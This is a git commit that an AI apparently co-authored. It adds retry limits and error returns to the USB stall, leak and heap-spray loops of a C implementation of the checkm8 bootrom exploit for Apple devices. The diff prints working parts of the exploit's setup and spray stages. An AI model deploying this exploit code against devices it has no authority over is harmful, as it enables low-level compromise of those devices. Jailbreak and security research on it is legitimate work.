fix(exploit): Add retry limits to unbounded exploit loops

Setup stage and spray stall loops now bail after MAX_SETUP_RETRIES
(50) and MAX_STALL_RETRIES (100) attempts respectively, preventing
infinite hangs on unresponsive devices.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
tr4m0ryp 2026-04-05 03:53:02 +02:00
parent a810516aff
commit c5d65e823c
3 changed files with 61 additions and 12 deletions

View file

@ -223,8 +223,9 @@ int checkm8_usb_request_leak(libusb_device_handle *usb);
* checkm8_stall -- Repeatedly send GET_DESCRIPTOR with variable abort * checkm8_stall -- Repeatedly send GET_DESCRIPTOR with variable abort
* timeout until the device responds with a short transfer and a * timeout until the device responds with a short transfer and a
* successful leak request. Matches gaster's checkm8_stall(). * successful leak request. Matches gaster's checkm8_stall().
* Returns 0 on success, -1 if MAX_STALL_RETRIES is exceeded.
*/ */
void checkm8_stall(libusb_device_handle *usb); int checkm8_stall(libusb_device_handle *usb);
/* /*
* checkm8_no_leak -- Async GET_DESCRIPTOR with 1ms timeout and * checkm8_no_leak -- Async GET_DESCRIPTOR with 1ms timeout and

View file

@ -1,5 +1,9 @@
/* checkm8_spray.c -- checkm8 spray helpers + stage 3 (from gaster) */ /* checkm8_spray.c -- checkm8 spray helpers + stage 3 (from gaster) */
/* Max attempts for the stall loop and each spin loop in the spray stage.
* Gaster typically converges in a handful of iterations; 100 is generous. */
#define MAX_STALL_RETRIES 100
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
@ -89,16 +93,24 @@ int checkm8_usb_request_leak(libusb_device_handle *usb)
* timeout. Loops until a short transfer occurs and a subsequent * timeout. Loops until a short transfer occurs and a subsequent
* leak request succeeds. * leak request succeeds.
*/ */
void checkm8_stall(libusb_device_handle *usb) int checkm8_stall(libusb_device_handle *usb)
{ {
unsigned usb_timeout = USB_ABORT_TIMEOUT_DEFAULT; unsigned usb_timeout = USB_ABORT_TIMEOUT_DEFAULT;
unsigned usb_abort_timeout = usb_timeout - 1; unsigned usb_abort_timeout = usb_timeout - 1;
uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ; uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ;
int attempt = 0;
for (;;) { for (;;) {
unsigned char *buf = calloc(1, desc_len); unsigned char *buf;
int ret; int ret;
if (++attempt > MAX_STALL_RETRIES) {
log_error("checkm8_stall: exceeded %d retries, giving up",
MAX_STALL_RETRIES);
return -1;
}
buf = calloc(1, desc_len);
if (!buf) if (!buf)
continue; continue;
@ -123,6 +135,8 @@ void checkm8_stall(libusb_device_handle *usb)
% (usb_timeout - USB_ABORT_TIMEOUT_MIN + 1) % (usb_timeout - USB_ABORT_TIMEOUT_MIN + 1)
+ USB_ABORT_TIMEOUT_MIN; + USB_ABORT_TIMEOUT_MIN;
} }
return 0;
} }
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
@ -192,21 +206,38 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
*/ */
if (cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 || if (cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 ||
cpid == 0x8003 || cpid == 0x8000) { cpid == 0x8003 || cpid == 0x8000) {
int spray_attempt = 0;
while (!checkm8_usb_request_stall(usb) || while (!checkm8_usb_request_stall(usb) ||
!checkm8_usb_request_leak(usb) || !checkm8_usb_request_leak(usb) ||
!checkm8_no_leak(usb)) { !checkm8_no_leak(usb)) {
/* spin */ if (++spray_attempt > MAX_STALL_RETRIES) {
log_error("checkm8_stage_spray: path A exceeded %d retries",
MAX_STALL_RETRIES);
return -1;
}
} }
} else { } else {
checkm8_stall(usb); if (checkm8_stall(usb) != 0)
return -1;
for (i = 0; i < chip->config_hole; ++i) { for (i = 0; i < chip->config_hole; ++i) {
int hole_attempt = 0;
while (!checkm8_no_leak(usb)) { while (!checkm8_no_leak(usb)) {
/* spin */ if (++hole_attempt > MAX_STALL_RETRIES) {
log_error("checkm8_stage_spray: no_leak hole %zu "
"exceeded %d retries",
i, MAX_STALL_RETRIES);
return -1;
} }
} }
}
int final_attempt = 0;
while (!checkm8_usb_request_leak(usb) || while (!checkm8_usb_request_leak(usb) ||
!checkm8_no_leak(usb)) { !checkm8_no_leak(usb)) {
/* spin */ if (++final_attempt > MAX_STALL_RETRIES) {
log_error("checkm8_stage_spray: path B final loop "
"exceeded %d retries", MAX_STALL_RETRIES);
return -1;
}
} }
} }
@ -226,8 +257,14 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
* then DFU_CLR_STATUS with 0 data bytes. * then DFU_CLR_STATUS with 0 data bytes.
*/ */
for (i = 0; i < chip->config_large_leak; ++i) { for (i = 0; i < chip->config_large_leak; ++i) {
int large_attempt = 0;
while (!checkm8_usb_request_stall(usb)) { while (!checkm8_usb_request_stall(usb)) {
/* spin */ if (++large_attempt > MAX_STALL_RETRIES) {
log_error("checkm8_stage_spray: large_leak stall %zu "
"exceeded %d retries",
i, MAX_STALL_RETRIES);
return -1;
}
} }
} }
dfu_clr_status(usb); dfu_clr_status(usb);

View file

@ -1,5 +1,9 @@
/* checkm8_stages.c -- checkm8 exploit stages: reset, setup, spray */ /* checkm8_stages.c -- checkm8 exploit stages: reset, setup, spray */
/* Max attempts before bailing out of the setup stage loop.
* Gaster typically succeeds within 5-10 attempts; 50 is generous. */
#define MAX_SETUP_RETRIES 50
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include <unistd.h> #include <unistd.h>
@ -177,7 +181,14 @@ int checkm8_stage_setup(exploit_ctx_t *ctx)
log_info("checkm8: stage 2/4 -- setup (overwrite_pad=0x%X)", log_info("checkm8: stage 2/4 -- setup (overwrite_pad=0x%X)",
overwrite_pad); overwrite_pad);
int attempt = 0;
for (;;) { for (;;) {
if (++attempt > MAX_SETUP_RETRIES) {
log_error("checkm8_stage_setup: exceeded %d retries, giving up",
MAX_SETUP_RETRIES);
return -1;
}
uint8_t *dnload_buf; uint8_t *dnload_buf;
uint8_t *pad_buf; uint8_t *pad_buf;
uint16_t pad_len; uint16_t pad_len;